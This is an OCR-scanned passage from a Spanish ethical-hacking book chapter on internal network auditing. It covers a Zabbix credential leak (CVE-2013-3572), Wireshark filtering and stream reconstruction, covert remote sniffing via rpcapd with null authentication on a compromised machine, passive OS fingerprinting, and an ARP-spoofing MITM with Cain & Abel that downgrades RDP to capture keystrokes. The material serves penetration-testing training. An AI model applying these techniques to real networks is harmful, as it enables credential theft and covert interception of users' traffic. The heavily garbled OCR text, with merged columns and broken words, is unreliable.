que saber qué tipo de servicio es, y en esta prueba de concepto se sitlia a Zahbix como herramienta
propietaria de dicha cookie.

Como se contd anteriormente en el presente libro, el equipo de Informética 64 encontrd una
vulnerabilidad en Zabbix, 1a cual permitia obtener una credencial en plano que correspondia con la
contrasefia del servicio en el directorio activo o Active Directory. Légicamente. el auditor no conoce
esta informacion, pero cuande se realizar auditorias en cualquier indole pueden salir vulnerabilidades
desconocidas por el equipo, o incluso desconocidas por todo el mundo, lo cual deberia ser publicado
a través del fabricante, es decir. informando a ¢éste. o a través de una via mas agresiva como es ¢l
Full Disclosure.

Cuando un usuario sc dirige a la zona de gestion o administracion del servicio, podia obtener la
contrasena con la que el servicio se conecta al directorio activo, simplemente visualizando su caodigo
fuente. La vulnerabilidad queda recogida en el CVE-2()]3-3572. Con esta vulnerabilidad el auditor
puede obtener una cuenta viélida en el directorio activo con lo que poder llegar a esa maquina.
realizando un movimiento lateral. ya que es altamente probable que dicha credencial no tenga
muchos més privilegios que un usuario raso. Aungue, si se entiende que el auditor no dispone de
ninguna cuenta en el directorio activo se podria pensar que el movimiento es vertical, ya que se han
ganado privilegios en el dominio.

Otras conexiones que lleguen a la tarjeta de red del auditor, por fallos en la implantacién de la red,
podrian descubrir nuevas redes. por ejemplo, se padria observar gracias a la herramienta Wiresheark.
una conexion entre una maquina de desarrollo y otra de finanzas, entre una maquina de finanzas y el
DC. etcétera. Esto permite al auditor conocer la red interna de una manera extra.

Una de ias observaciones que se pueden obtener tras las primeras pruebas de reconocimiento de
redes, conectividad con maquinas y sniffing de red es que existe diversidad de sistemas operativos en
lared, hasta donde se dispone de conectividad en el estado actual de la auditoria. Este hecho implica
que los sistemas operativos més antiguos puedan estar expuestos a fallos de seguridad no corregidos.
Y proporcionar una via de acceso a otros equipos. Por ello, hay que tener siempre en mente la via del
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exploiting para ejecutar codigo remoto a través de alguna version de producto o sistema operativo

vulnerable.

En el segmento de desarrollo pueden existir maquinas virtuales. las cuales pueden no disponer de
los tltimos parches de seguridad, ya que son maquinas de pruebas ¢ instaladas por los propios

empleados de dicha area.

Este hecho puede ayudar al auditor a comprometer dichas maquinas y obtener informacion, como
credenciales, con la que poder desplazarse entre maquinas.

A continuacién se presentan herramientas que pueden ayudar en esta fase de la auditoria y que
ayudaran al auditor a comprender mejor lo que tiene alrededor, pero que ain no puede palpar.

Wireshark: El analizador amigo

Wireshark es probablemente uno de los mejores analizadores de trafico por su coste y calidad para
los usuarios. Es una de las herramientas que se deben utilizar en muchas de las auditorias que se
pueden [levar a cabo en un proceso de Ethical Hacking.

Fl objetivo principal de la herramienta es mostrar al usuario todo lo que esté circulando a través de

su tarjeta de red.

Algunas caracteristicas principales son:
. Funciona bajo varias plataformas como Windows, Linux o Mac OS.
- Captura de paquetes on the fly, es decir, en tiempo real.
. Informacion detallada de los paquetes. La gestion de los paquetes s¢ realiza bajo
extensiones CAP, PCAP, etcétera.
- [mportacién y exportacion de paquetes.
. Control de sniffing remoto. Esta caracteristica no es muy conocida por muchos de los
usuarios de la herramienta, pero s¢ puede colocar un agente en un equipoy dejar escuchando
los paquetes que circulan por dicho equipo y reenviarlos, a modo de espejo. a un equipo
dénde se encuentre el auditor.

Con Wireshark se puede elegir por cual interfaz o por cuales se quiere llevar a cabo el analisis de
trafico. Algo muy utilizado por los usuarios es el filtro de paquetes, el cual se puede realizar desde la
propia interfaz de red (capture) de pantalla (display).

La diferencia entre estos tipos de filtros es que el de capture filtra directamente en la interfaz, por
lo que los paquetes no llegan a ser almacenados, y el de display filtra una vez que los paguetes son
almacenados en el buffer de Wireshark. o en el fichero CAP.

En la siguiente imagen se puede visualizar como configurar un filtro de captura para solamente
almacenar trafico TCP que se dirija al puerto 80, posiblemente HTTP.

r
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[ Edit Interface Settings (== =
Capture e

|

| Interface: Intel(R) P sl i 2248 AF(! |

| - ntel(R) PRO,/1000 MT D of: Afiaptr:r: \Device\MPF_{8F 1D-686F-494E-8F1 A-DI1ADICBAFDS]
IP addpess: \192.163.1.18 77777

Link-layer header type: Ethernet WE

- [V] Capture packets in promiscuous mode

[] Limit each packet to | 65535 . bytes

e _ |
| Buffer size: |1 = megabyte(s)

‘ Capture Filter: rtcpportBD ' -
3 L - S . _ 'CompileBpFJ

&J QK J I Cancel I

Fig. 3.33: Configuracion de filtro de captura en Wireshark.

El seguimiento de paquetes en Wireshark se realiza a través de la pestaiia Go. En est: fia &

I’lmdén ENeoIitar opciones como Go To Packet o Find My Packer, La I;I‘im(e.ra j;l Lh[ldl pe‘qﬂ_”\“ p
usuario directamente ante el paquete con ese nimero en concreto. La segunda [_“_e]‘_? _ ﬁii _Ub.u_a“a]-
muestra todos los paquetes que coinciden con el patrdn introducido N

e : :‘@ =

W e

Find-——— N 1

W Wireshark: Find Packet

By: @ Display filter ~ Hexvalue = String

Search In String Options Direction
G Packed list Case sensitive
F ) . Case sensitive o Up
! Packet details  Character set: o Down
f Packet bytes ASCH Unicode & Non-Unicede !

ﬂ"_J Find ]] Cancel J

Fig. 3.34: Vista de Find My Packeten Wireshark

”r.l'.."(‘h‘li?éif’nf' 69 K £ i S
o’ xlpuule hacer crecer sus archivos hasta un gran tamafo, pero eso hace que luego se vuelvan
manejables. Es recamendable ent e 1ci ; i e
ender como funcionan | i i0 i
o g b b uncionan las opciones de gestion de archivos d
shark. Esta opeién se puede encontrar en la parte de opciones de la interfaz

Como s isuali i

se puede v ; e indi e

ke '.\,lsuahzal en la imagen se puede indicar al sniffer que utilice miltiples archivos para
aimacenar el trafico recogido. Las opcicnes que aporta la opcidn de multiples archivos son:

Se creard un nuevo archivo después de un niimero determinado de KB, MB o GB
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un mamero determinado de minutos.

la captura después de generar un nimere
s de un ntmero determinado de ficheros.

Se creard un nuevo archivo después de

- Ofras opciones interesantes soi la finalizacidn de
determinado de archivos o se sobrescribiran despué

Captare File(sj
File:

R

[V] Next fileevery |1 ~} ‘megabyte(s) E
] Nextfileevery 1 : minutets) |~
- mipgtes |
1

i
L

' [ ] Ring buffer with = files
| [] Stop capture after

= filels)

Fig. 3.35: Opeiones para gestionar archivos en Wireshark.

ntalla de todos los paquetes distintos que se pueden
ente. Para utilizatlos se debe indicar, por

HTTE TCP. arp, ip. elcétera.

Los filtros de tipo Display permiten limpiar la pa
obtener con Wireshark, como se menciond anteriorm
cjemplo. el protocolo del que se quiere filtrar paquetes:
ados atributos, a los cuales se accede a través del punto, por
ar4 los paquetes del protocolo
rgaré un archivo PDF o parte

Cada protocolo dispone de los denomin
ejemplo futp.content_{ype == “application/pdf”. Este filtro solo mostr

HTTP que tengan un content_type de PDF, es decir, internamente albe
de ¢l. Se pueden concatenar los fltros mediante el uso de operadores lbgicos, por ejemplo:

- Operador and. Solo se mostrar
cjemplo http && ip.sic == 192.168.
de aplicacion tenga HTTP como protoco
direccion 192.168.1.40.

Operador o En este caso s¢ mostrardn los paquetes que cumplan al menos una de las
condiciones, por ejemplo arp || Atip contains “Cookie . Este filtro mostrara los paguetes de
tipo ARP o paquetes de tipo HTTP que confengan el campo Cookie. En este caso no se podria
dar las dos condiciones nunca, pero vale con una de las dos.

Operador nor. En este Gltimo caso el operador not niega el resultado obtenido de un
filtro normal, por ejemplo htip.content_type == “application_pdf” && not arp. Este filtro
mostrara los paquetes de tipo HTTP que contengan un {rozo o un archive de PDF y que
ademas los paquetes no sean de tipo ARP. Es un gjemplo absurdo pero que cjemplifica

claramente la negacion.

an los paquetes que cumplan ambas condiciones, por
1.40. Este filtro mostrara los paquetes que € el nivel
lo. y ademds tenga como direccion [P de origen la

s modulos de estadisticas muy interesantes, capaces de mostrar en tiempo

real porcentajes y estadisticas sobre las tramas capturadas en la tarjeta. En la pestafia Statistics s€

contrar la opcion Summary, la cual muestra un resumen de todo lo capturado. Otra de las
otocol Hierarchy con la que se puede visualizar

qué tipo son, a qué nivel de red pertenecen:

Wireshark dispone de uno

puede en
opciones interesantes que se pueden encontrar es P
mediante porcentajes los paquetes capturados, de
cantidades en MB o velocidades de transmision, entre otras cosas.

P
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[£1 Wireshark: Protocol Hierarchy Statisti _— .o
y Statistics it "
« T S

—

Display filter: none

‘P;otocui % Pack t i
i c EsPackets % Bytes Bytes Mbit/s End Packets End Bytes End Mbit/s
oﬁ = = i —
, 0,000}

647 OOONE] 410090 0,146 g 5 D

= Ethernet

. Address Reselution Protacal [155% 10[014% 582 0,000 10 582
= Lngical-L.ink Contral [185%  12[018% 720 UtUDD 0 ; -
Spanning Tree Protacal [1e5%  12018% 720 0;000 12 720 o
Bl ljtemet Protocol Version 4 618 EREPEH 407711 0,145 ] i 0 o
= User Datagram Protocol [o89%  s4[200% 8197 o002 0 ] o
NetBIOS Name Service [139%  9fo20% 328 0000 g B8 e
Domain Narvie Service [e35% se[175% 7182 0003 54 m;z zzgo

Dropbox LAM syne Discovery Protocal | 015 % 1]0,05% 187 0,000 1 187
. g A 0,000
399514 0,142 495 357642 0128
28375 0,010 35 28375 0,010

= Transmission Control Protocol 185,63 %

Secure Sockeis Layer J 5,41 %

Ve 2035 Eata it iang :
Fig. 3.36: Estadisticas en Wireshark con Projocel Hierarchy

Otra opcion interesante que se N
=, Iap ik tﬁeijdm{quc se encuentra en la pestafia de Staristics es la tuncionalidad Fiow Graph
b q ! se pucul_ e pintar la comunicacion con el trafico 7CP o el trafico general. Ademas e-
intuitivo, de s i, . & : as, es
; entro de la complejidad que puede presentar un protocolo coma TCP, el entendimient
de la imagen que presenta Wireshark. y Imicnip

‘ Time 192.168.1.45
216168.252.157 KRR
' 1
8820 ‘ m)%@ Seg =0
9,025 w_,‘,.M
QUss 2y
9,025 A
8,027 BSHLACK- Len:aZ5
s B
931 || g e—ACK
9,232 | m_,}' ACK - Len: 1452 P
Aa0ss, (el
‘9,?32 e H, ACK - Len: 24 )
e 4831 30
8,232 Seq =476 Ack = 1477
9232 |
‘ 9,232
16,234
g AT
G435 | | ISeq = 1478 Ack =477

Fig. 3.37: Flujo TCP pintado en Wireshark.

Otra de las i
as opel Vi k it

- meérsa f iones de Wireshark que pueden ser atiles en el sniffing enh una auditoria es el tema de
iones iqui B . ;

existon mmumceb .entre m?qumas. Las conversations permiten ver rapidamente entre qué maquinas
nicaciones, ¢l numero de paquetes envi |

Sl i _ enviados, con el - :

Aoy . g ] consumo de byres. cteétera. Es

lidad realmente interesante, siempre y cuando se disponga de tielﬁpo para analizar
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J : 4 el alaque
127
la captura de red con tranquilidad. En tiempo real, esta opcion puede ser altamente compleja de La reconstruccion de archivos de imagen, con fi
; . - e i el . ;con { : NG (2
| gestionar, por lo que se recomienda su utilizacién offfine. debido a la posibilidad de detectarlo como fi ormato JPEG, PNG, GIF, es algo realmente rapido
- ; ; ' 10 formato y exportar los hyres en cr .
[ Conversations: rpapumgzxss.xAsa:zooummce\NFF_lsxcm-sausu-ss?bcAmeassms) I_D_@% formato que se requiera. Para ello, se debe situar sobre el f%l‘mat ‘ ifl{1 P S, Skngraiion e
g e e e el = =y desplegar las opciones : : % oen la trama y con el botén derec
- | themet 19 Fiee Chanmat| 7001 ;34 w6 i € B PiES peiones seleccionando Export Selected Packet Bytes. derecho
Pid Conversations )
Address & ¢ hddiess B « Packetz ¢ Ejtes ¢ Packéts A~B ¢ Bles A= ¢ Packets A=B BytesanB ¢ RelStat 1 Duration ¢ bpsA~E ¢ bpsh=b ‘ Copy »
192168131 192183.1.255 3 276 2 e 9 0 0432094030 1.5007 147132 Export Select
192165.1.20 192168145 52 70M | 5080 28 1974 7744750000 11,5951 3505,52 B ected Packey Bytes"'
63 5 21743 192166.1.45 ‘81 62408 46 59 555 35 2’3!. SJJBMDGUHA:‘_!.B.ZTH 35800.49 & Wiki Protocol Pa
[EC Apply 1 Fte T T M s M S e =
31041206 192168 b Fifer " 1950 8010155000 127330 395507 122767 | R Filter Field Reference
192168141 12168 o :p! St ; =g ST 0 057854000  1ABE0 14753 wis | A PistscaT -
pasussy  lsues o ; o 3 Pt ! L2 10525252000 6130 TR 185207 | —— == ocol Help —
102268132 oy, SooHeCemEStin i et A8 0 162720 0.0000 1A wia | # Frame 3653  Protocol Preferences E
17310434095 102168345 10 164 FOE Pltvious Wy A 72 17007662000 4540 136613 153520 + Ethernet I Fs)
17319434203 192168145 13 2502 5 896 i ‘:"5‘ 1606 17,299356000 43522 163697 25205 | * Internet P 3 Decode As... e
1921631148 102168.1.255 ER 3 276 Any 017421325000 15547 102 A | & Transmis of y D8, ]
lorleeisE 22300252 2 1 2 128 A Any 0 742G 04U5 246873 nra | = S1| v Disable Protocol... .|
172.184.41.247 192188445 350 233208 205 281006 Any -8 12 202 17,475344000 41718 53395976 2339867 ‘ = Resolve Nam i
17319434307 192368143 31 nzes 17 0779 Ary —B i 1084 38178536000 AT BS6T1 M3 o £
| ang—8 | | Go to Corresponding Packet
Fig. 3.38; Estudio de comunicaciones entre maguinas con Fireshark, A0 Reeotisieuccion de imdgenes.
i s . 4 4 ara rec "1 st n ,
Con la opcion Follow TCP Streani, Queé s& puede visualizar pulsando con el boton derecho sobre una Para reconstruir archivos que ocupen mas de una trama, se deben realizar las sigui
) o 5% - i ; 3 ! o 2 2 © " las s1gu ~ciones:
trama. s¢ puede ver la conexion entre dos maquinas y cudl ha sido el flujo. Es interesante esta opeion - Ejecutar la opcion Follow TCP Strean, para ob as sigulentes acciones;
ya que se puede visualizar las comunicaciones y seguirlas, e incluso reconstrulr archivos, gracias a - Fijarse en la peticién t para obtener la vista de toda la comunicacion
5 4 = E ue 1 Ty o j i
este seguimiento. e que tiene el fiujo en crudo, RAW.
eleccionar todo el documento y pulsar en Save As

Stream Content -
Oll( llp jf
3 ery Co N€ (JIIL [vff”e.’
LNCiol alid d s a th]

| posT /signin HTTP/1.1
Host: members.focalprice.com o B
; : extrayendo . . .
connection: keep-alive ayendo los documentos de las tramas por si solas. Existen dos versi
una gratuita y otra de pago. s versiones de esta herramienta

| content-Length: 34
cache-control: max-age=0

Accept: text/html ,apph‘catw‘on,’xhtm] +xinl,applicati on/xml;q=0.9,%/%:q=0.8 =

origin: http: /v, focal price.com B @ NetworkMiner 1.3 !

| User-Agent: Mozilla/5.0 (uindaws NT 6.1) Applevebkit,/537.31 (KHTML, ke cecka) = sl e = | @ [ :
Chrome/26.0.1410. 64 safari/537.31 File Tools Help S B S i

co?terw.t—T pe: a}pfp'i'ic?tiqu/xg\-n-n-:—form—uﬂ encoded — =
| 'Referer: http://wwai.TOCA rice.com/ WinPcap: Broadcom Na e
| laccept-encoding: gzip,deflate,sdch Peap: Broadcom NetXireme Gigabt Ethemet Criver (192.158.1.32) {1D13501A-1F2C-4557-A80C-2 i
i IAccept—Language'. e5-E5,e5;0=0.8 Mkr o d A-NFZCA557-A8DC-25 e 4 Stop
| laccept-charset: 150-8859-1,utf-8;9=0.7,%;0=0.3  Cleartext | Anomalies
Cookie: _gadS=ID=9ddCE19?979d?aZ6:T=134?357733:S=ALNIJ&XC—crv‘.O}(Er‘.EKgnM-l U3BTI05KadsA; Hosts (13) 5 = e Case Panel
| __utma=245211290. 569935710.1347357735, 1348173101, 1369643277 5 o (52) | Files | images | Messages | Credentials | Sessions (2) | D = [ TR |
| T utmb=245211290.1.10.1369643277; _utmc=245211290; Sod H — e £ NS | Parameters | | Flename MD5
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—— T v || Sotand Refresh [ N0l
- - = |

\
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content-Type: text/html; charset=utf-8
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Fig. 3.39: Seguimiento de comunicacion TCP.

Fig. 3.41: Network Miner
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;Como llevar a cabo un sniffing remoto
rpeapd.exe.

9 Con Wireshark se puede realizar gracias a la herramienta

PoC: Sniffing remoto con Wireshark
oncepto se explica como configurar un saiffer remoto y como p
la maquina del auditor.

En esta prueba de ¢ oder visualizar
todo lo que se esta capturando en una maguina en

Para el supuesto se expone el siguiente escenario:

- Magquina A: Méagquina de la que ya se tiene
que el usuario victima sea snifada sin saberlo.
Maquina B: El auditor controlard en todo moment

el control y se configura un sniffer de red para

o el trafico de 1a méquina A desde esta

magquina.

En primer lugar, ¥ suponiendo que el auditor dispone del control de la maquina remota, se debe

configurar la herramienta rpeapd.exe.

C:\Programn Files\WinPcap>rpcapd.exe -h

USAGE:
ort>] [-61 [-1 <host_list>] [-a <host ,.port>]

rpcapd [-b ¢address>] [-p <p
[-n] [-v] [-d1 [-s <File>1 [-f <file>1]
literald.

-bh <address>: the address to bind to (either numeric o
Default: it hinds to all local IPv4 addresses

-p {port>: the port to bind to. Default: it binds to port 2002

-4: use only IPud4 (default both IPv4 and IPu6 waiting sockets are used)

-1 <host_list>: a file that keeps the list of the hosts which are allowed
to connect to this server ¢(if more than one, list them one per line).

literal names (instead of numeric ones) in order to

th different address families

-n: permit NULL authentication (usually used with -1’2

—a <host,.port>: run in active mode when connecting to ‘host’ on port ’'port’
In case ’port’ is omitted, the default port (20883) is used

—u: »un in active mode only (default: if ’-a’ is specified, it accepts

passive connections as well

run in daemon mode CUNI® only) or as a sepuvice (Win32 onlyd

Warning <(Win32)>: this switch is provided automatically when the service

is started from the control panel

—s {file>: save the current configuration to file

—f <file>: load the current configuration from file;
specified from the command line are ignored

—h: print this help screen

Fig. 3.42: Listado de opeiongs de rpeapd.exe.

avoid problems wi

all the switches

Para lanzar la herramienta capturando el trafico y que la herramienta escuche en cierlo puerto s¢

debe configurar de la siguiente manera rpeapd.exe =i —p <puerto=.

La opcion # indica que no habréa autenticacion, interesante para el atacante.

El auditor por lo tanto deberd abrir Wireshark e ir a la siguiente pestafa Capfuie -= Interfaces -
Options -> Manage Interfaces -> Remote Interfaces.

T

Jngerprinting como con la otra.

Capitulo 1ll. Confeccionando el atague

[ Wireshark: Remote ..

Host: ||

Port:r o

| P
rAuthentication————
| @ Null authentication |

() Password authentication

{ ——|

| Username:

‘ Pasngcrd:;

[ o

I."_ A . 16 -
ig. 3.43: Conexion a 1poapd exve a través de Wireshark

El tréfico se visuali ine

. : al.lza en la pantalla principal de la herramienta como si estuvier
raves de una interfaz local de la maquina. Esta prueb i
se puede utilizar en distintos entornos

- a siendo capturado a
a de concepto es realmente interesante, ya que

Existen otras forma ; i ]

S sder rafic iqui

b e eenvldar 1 aﬁc? de una maquina a otra a través de siiffers remotos. inel

gl 2, pone de un médulo denominado swiffer con el que se ed el U’SU -
aquina comprometida con el pavioad h I puede snifjur ¢l trafico

Satori y pOf herramientas: sniffer pasivo

Satori es otra de las ;
QLR e las herramientas que e i
Sotind e eulin fat 1811@5 L-]LIL se pueden denominar imprescindibles en bastantes auditor

i TITCrDF, Al s . l1as
o | Jingerprinting pasivo a las maquinas que compa pa e
auditor. as que comparten la red con ¢l equipo del

t,QllL es Ll Jingerpriif o i as (,‘Ua €S su ie]enc 0., ¢ P ero se
g f ff?c activo v p 1Vo: ( l d] 14 Ef) SLﬂC]” I
caracteriz a p()[que L] alﬂcallh_ ]ed“za El]i!tllld accion d recta que pl()V(]Ca Lna iEbplle ta dt lcl Ictima.
< q Qr otro e C . 2 ke
ent 1S JUe p Iad() [S ]JdS VO 5¢ [l]l itaa eSCUCl arel tra co y danalizar I paq d ) d
£ 08 uetes de una red.

En el Sew :
=n el segundo tipo de £ wrinti
desapercibido SS]O Se.ﬁljrg@,;n zming se Puedc entender que la maquina del auditor pasa total
b de} a;_ld't . escucha trafico sin realizar accidn directa. También hay que recalc e
itor se dard cuenta solo de lo que pasa por su tarjeta de red ¥ que recalcar que la
. 1 de red.

La herrami
ram i it i
amienta Nmap permite realizar un fingerprinting activo

un fingernringi 3 fenir ' .
Jingerprinting pasivo. La deteccién mientras que Satori realiza

de si 5 rati
sistemas operativos se puede dar tanto con un tipo de

Logica
mente, una gen ido. 2 27
ningdn ruido - ﬁue;m ruido, aunque es mds directa sobre el objetivo. y la segunda no
o = — ; g P
que se requie};: I que nc') se consiga los objetivos propuestos, porque el trafico d :T—en_ela
no llega a la tarjeta de red del auditor. co de la miquina
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Select your capture source 1

“You can caplure packets from a network. interface o load them from a file.
Choose your desting ;]

(@) & network device : @Iﬁﬂ:a@,cﬂ"ﬂi—- RS |
(i il ospturesh e st 4 |

) Raw device name ﬁ@cﬁpg?iﬁx\@;@msm-s@-aeae 5CE |

e
|

Additionaly, you can specify a capture filter {tepdump filters are SLEposted]

Capture filter : L ]

[[] Da Capture on Live Connection?
Diebug Capture on Live Connection?

Fia. 3.44: Seleceion de interfuz en Salori.

los médulos que implementan y que s¢ pueden’aﬁa}dir.
Una de las cosas que mejor realiza Safori €8 la deteccion del sistema operativo en l’as ma.q-unl]:;
csr(]:uchando trhfico en lared, La herramienta analiza el comportamiento de .los éai'ctpcf:s)s ;1{1; ::;ld (;121 e
7 maquin itor. sdulos realizan la inferencia de cier oA
Irededor de la maquina del auditor, los mo : . : g e
;;;10600105 como DHCP, SNMP, CDP, SMB, SCCP, HSRP, TCP, ICMP, EIGRP, OSPF, etcetera

Mac address Mag verdor TTL Hops

12014 EERRER Mictosll Coporali.. 128 0
B2, AR ;

111808 ene, 162074 11:27.22 ene. 16 2014 _Tﬁﬁnf;l_mpman,

BT ene 16018 112718 ene 162074 RN Teidxl 8.2

Fig. 3.45: Captura con Safori.

La fuerza de este tipo de herramientas esta en

First Seen Lasl Seen
“11:18.04 ene. 15201 11:27.45

addiess UNS
172.1B.10.47

1721611.227
B3 79.37 gosat.com

te recomendable para este tipo de

i -amie iza f printing pasivo, y es totalmen : :
Otra herramienta que realiza fingerprinting p ¥ o b eamm ek

trabajos es pOf. Esta herramienta se puede encontrar en la siguiente
exi/plf37.

@ {zyn) 1=

o 1.2, 3.441524 = 4. 3. 2.7

1)

e

client = 1.t

Windows XP

Fig. 3.46: Resultados de pi)f.

Pintar trafico de red B .
i i izaci Afic ntornos

Puede ser comodo en algunas ocasiones realizar v15uahzacmnes‘graﬁc‘as de 10§ dlstm_tos e "

ed en los que el auditor se encuentre. En algunas ocasiones la frase Vale mds una imagen ¢

T

Capitulo 11l. Confeccionando el atague m

patabras " se aplica a los archivos PCAP o CAP, y visualizar en un esquema o mapa puede ayudar a
entender mejor lo que estd ocurriendo en la captura de trafico realizado.

Herramientas como iNav, InetVis o NetGrok permiten realizar mapas de manera muy sencilla,
incluso capturando el tréfico directamente desde la interfaz de red. Logicamente, el estudio de las
tramas en archivos PCAP o CAP serd mas eficiente y 0til, pero echar un vistazo a lo que se presenta
con estas herramientas es realmente interesante,

Immunity Stalker

Esta herramienta no es recomendable para auditorfas, pero si es un servicio totalmente llamativo, va
que esta solucion permite automatizar el andlisis de capturas de trafico para buscar datos i mportantes,
mostrando en un panel de control toda la informacion descubierta.

Stalker analiza capluras PCAP sin problema de manera automatizada. por lo que si se realiza alguna
captura de trafico local, o incluso se obtiene alguna captura mediante el uso de algin buscador en
Internet, se puede utilizar el servicio para procesarla y visualizar los datos interesantes obtenidos,

Stalker permite subir datos en diferentes formatos, y los va analizando mediante la ejecucion de
procesos en paralelo, por lo que se puede elegir seguir trabajando mientras se analizan los datos, Una
vez se ha terminado, cada nuevo fost descubierto tendré una representacion con el nimero total de
paquetes en los que aparecia dicho equipo. También se mostraran los datos analizados,

Que tipo de informacion obtiene Stalker? Pues informacién sensible en algunos casos, como se
podria obtener mediante el uso de otras herramientas manuales, por ¢jemplo conversaciones en
redes sociales o chats, usuarios. contrasefias, coolies, etcélera.

¢Por qué no usarla en auditorias? La respuesta es sencilla, LOPD. Esta ley va en contra de este uso
de herramientas para estos temas sensibles, ya que la informacion queda o podria quedar alojada en
los hosts de Stalker.

PoC: Obtencién del primer dato de interés

En esta prueba de concepto partimos del conocimiento breve que tiene el auditor sobre la red yla
configuracién de ésta, una vez que ha utilizado herramientas y técnicas para visualizar qué tiene
alrededor y sobre qué tiene conectividad.

Es muy importante que siempre se debe tener en cuenta, ¥ €8 que siempre tendremos conectividad.
como empleado, con el DC, y por lo tanto si el auditor se apodera de dicha méquina se podra acceder
atodos los rincones de la red Microsofi.

Una de las circunstancias més dificiles es encontrar lo que se denomina el primer dato de interés, la
primera cuerda de donde poder tirar para lograr empezar a movernos por la red, y poder llegar a otras
ubicaciones a las que al principio no se podia llegar.
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A la pregunta, ;COmO CONSEY
si que existen diversas formas
que ¢l auditor se encuentre.

uir la primera credencial? No existe una respuesta claray concisa, pero
de intentarlo, las cuales también dependeran de los entornos en los

A continuaeion se muestra un listado de opciones, aunque existen otras maneras perfectamente

validas:
. Como se menciond en el descubrimiento de red, una credencial de alguna aplicacion
web, alguna autenticacion SMB, alguna conexion a base de datos 0 alguna Cookie capturada
pueden llegar a través de la red simplemente sniffando €l trafico que circula por el entorno.
Logicamente, esto 10 debe ocutrir en redes conmutadas, pero €s cierto que en algunas
empresas se pueden encontrar estas circunstancias.
_ Realizacion de técnicas Man In The Middle, por ejemplo ARP Spoofing o Neighbour
Spoofing, dependiendo si se quiere hacer sobre protocolo [Pv4 0 [Pv6. Si la organizacion no
tiene una politica en la que dispongan del protocolo TPv6 deshabilitado internamente puede
ser un buen vector de ataque, forzar comunicaciones y envenenamiento por 1 Pv6. En muchas
organizaciones existen medidas para contrarrestar O mitigar los efectos de un ataque Man In

The Middle.

- La evaluacion de otras pruebas, por ejemplo,
perimetrales o en los APT que hayan podido realizarse, pueden aportar credenciales que

podrian ser utilizadas por los auditores en estas pruebas.

La explotacion de alguna vulnerabilidad en algin soffware es uno de los vectores a
enerse actualizadas, pero entre que una

los resultados obtenidos en auditorias

estudiar claramente. Las organizaciones deben mant
vulnerabilidad se descubre ¥ la organizacion foma medidas puede transcurrir un tiempo.

Ademas, en entormos internos de trabajo. en muchas ocasiones, no se tiene la misma seguridad
que en produccion o pre-produccion. por lo que el utilizar escaneres y kits de exploits s
siempre una buena opeién. Es interesante fijarse en versiones antiguas, tanto de sistemas
operativos como aplicaciones. 1o seran equipos importantes pero permitirdn ir ganando
privilegios.

. Otra via es la ingenieria social. Dentro de la organizacion el auditor podrd intentar
conseguir alguna credencial o acceso & alglin escenario en el que permita tomar ventaja y
aprovecharse para progresar en la auditoria. En muchas ocasiones no se piensa en esta via,

pero es una totaimente valida.

A coptinuacion se ejemplifica una de las vias anteriores. El equipo del auditor realizara un MITM
entre dos equipos. un cliente y un servidor. con el objetive de visualizar trafico. El auditor tiene €
cuenta que las versiones de sistemas operativos de esos dos equipos son antiguas. El auditor fij

o] MITM con la herramienta Cain & Abel. El equipo servidor s un Windows Server 2000. ;Por Q¥
ha elegido ese? Las probabilidades de estar menos fortificado y el no soporte ayudaran sin duda.

¢ ARP

Ceain & Abel tiene muchas funcionalidades que pueden ser utilizadas durante un ataquc
Spoofing, como por ejemplo presentar certificados auto firmados y poder visualizar comumcacwﬂ"
seguras, pero en este ejemplo el auditor busca capturar la comunicacion RDP entre el cliente ¥

T
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servidor. Se sabe que si la versié
1la version de o :
|a herramienta Cain & - del protocolo RDP es v3, se puede reali

; ain & Abel realizard autométicamente alizar un downgrade, el cual

ﬂg_g-; ® i B

UTH  PESET ML

|+9|BoymmEa@2E @ 2|0

& Decoders | S Netw 5
lg ork Im Sriffer Ii Cracker !@ Traceroute |M ccou I;(- T
IP address | MAC address | out fingerprint 4 ireless @ Query

| Host name

[3t[B15[e8 [e [mo [mi |ms |

Scan MAC Addr

Fesolve Host Name

Remave
Remove All

Delete

Clear Pramiscucus-Mode Results

Export

Fig. 3.47: Realizando scan ARP,

Activando el suiffer en Cain & A d
A 3 G i
i hel, con el segundo icono de la barra superior y d
) | "y despues yendo

pestafia llamada Swuiffer st
e  Sniffer. Se debe realizar un scan ARP de la re et ala
cliente y el servidor. a red, para visualizar los dos equipos, el

s, €

& Decoders IQ Mebwork lﬁ} Sriff :
; or | Cracker

= I_ I@ Traceroute IM CCDU I“ﬂ’) Wireless IEE) Query—'
& apr-cert
2 APR-DNS
B &PR-55H-1 (0
S APR-HTTRS (o)
8 ApR-RDP (0
8 arr-FTes (0)

APR-POFES (O}

=)
8 apr-1MAPS (1)
&
&

Status
I | I c > [ <- Pad |
IP address AC address Packets - - Packets MAC

APR-LDAPS (1)

APR-SIPS (O} Status

| 1P address l MAC address

| Packets -> | <-Packets | maC 4

@ Configuration / Routed Packets |

m @ aer | Routing I@ Passwords | 43 VolIP

Fig. O
ig. 3.48: Cain & Abel y su funcionalidad de spoofing.
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Una vez se disponen de los equipos en pantalla, se debe
denominada 4PR. Ahora se debe pulsar sobre el botén con un

ir a la segunda pestaria de la barra de abajo,
‘4 para seleccionar los equipos que

se quieren envenenar.

ErEET LIk
é% Decoders l@ Network_l@ Sniffer \I@‘? Cracker l

I—IP addre:

| @ | B,

Status

& APR-HTTPS ()
B APR-ProxyHTTPS (0
& APR-RDP (0)
APR-FTPS (0]
Fig. 3.49: Adicion de equipos para spoofear

Para completar el spoofing s¢ debe pulsar el tercer botd
a la derecha del boton de sniffer. Ahora toca esperar que €
conexion RDP con la miquma servidor, Se ha comentado
cliente dispone de un sistema operativo Windows XP, el servidor es Windows
version del protocolo RDP es v5.

Cuando el usuario inicia la conexion d
si todo fuera normal. El usuario se loguea'y dispone
conexién ha estado circulando a través de la maquina

downgrade del protocolo, de la versién 5 a la 4, la cual se puede extrae

las pulsaciones de teclado que ha realizado el usuario.

1 de la barra superior. el que se encuentra
| usuario del equipo cliente inicie una
que para el ejemplo se expone que el
Server 2000 y que la

e escritorio remoto le aparecera la pantalla de /ogin, como
de la conexién de escritorio remoto. Toda esta
del auditor, y Cain & Abel ha realizado el
r informacion sensible como

ﬁnﬁn%éﬂhkéﬂ%ma} g Re.ym@EEB0 % 2| 2|0

——
‘\‘l :j [ﬂ | AUTH FESET HILM
&, Decoders | retwark |ER Sniffer [ cracker | Traceroute [E8 coou [B) Wirsless ) Query |
& AFR Started Closed ]DP server
=] apR-Cert
-2 pPR-DUS

o P &PR-53H-L (D)

5y RPRHTTRS () Gemove Al

8 APR-ROP (1)
5 apR-FTRS (D)

5 ape-popas (0)
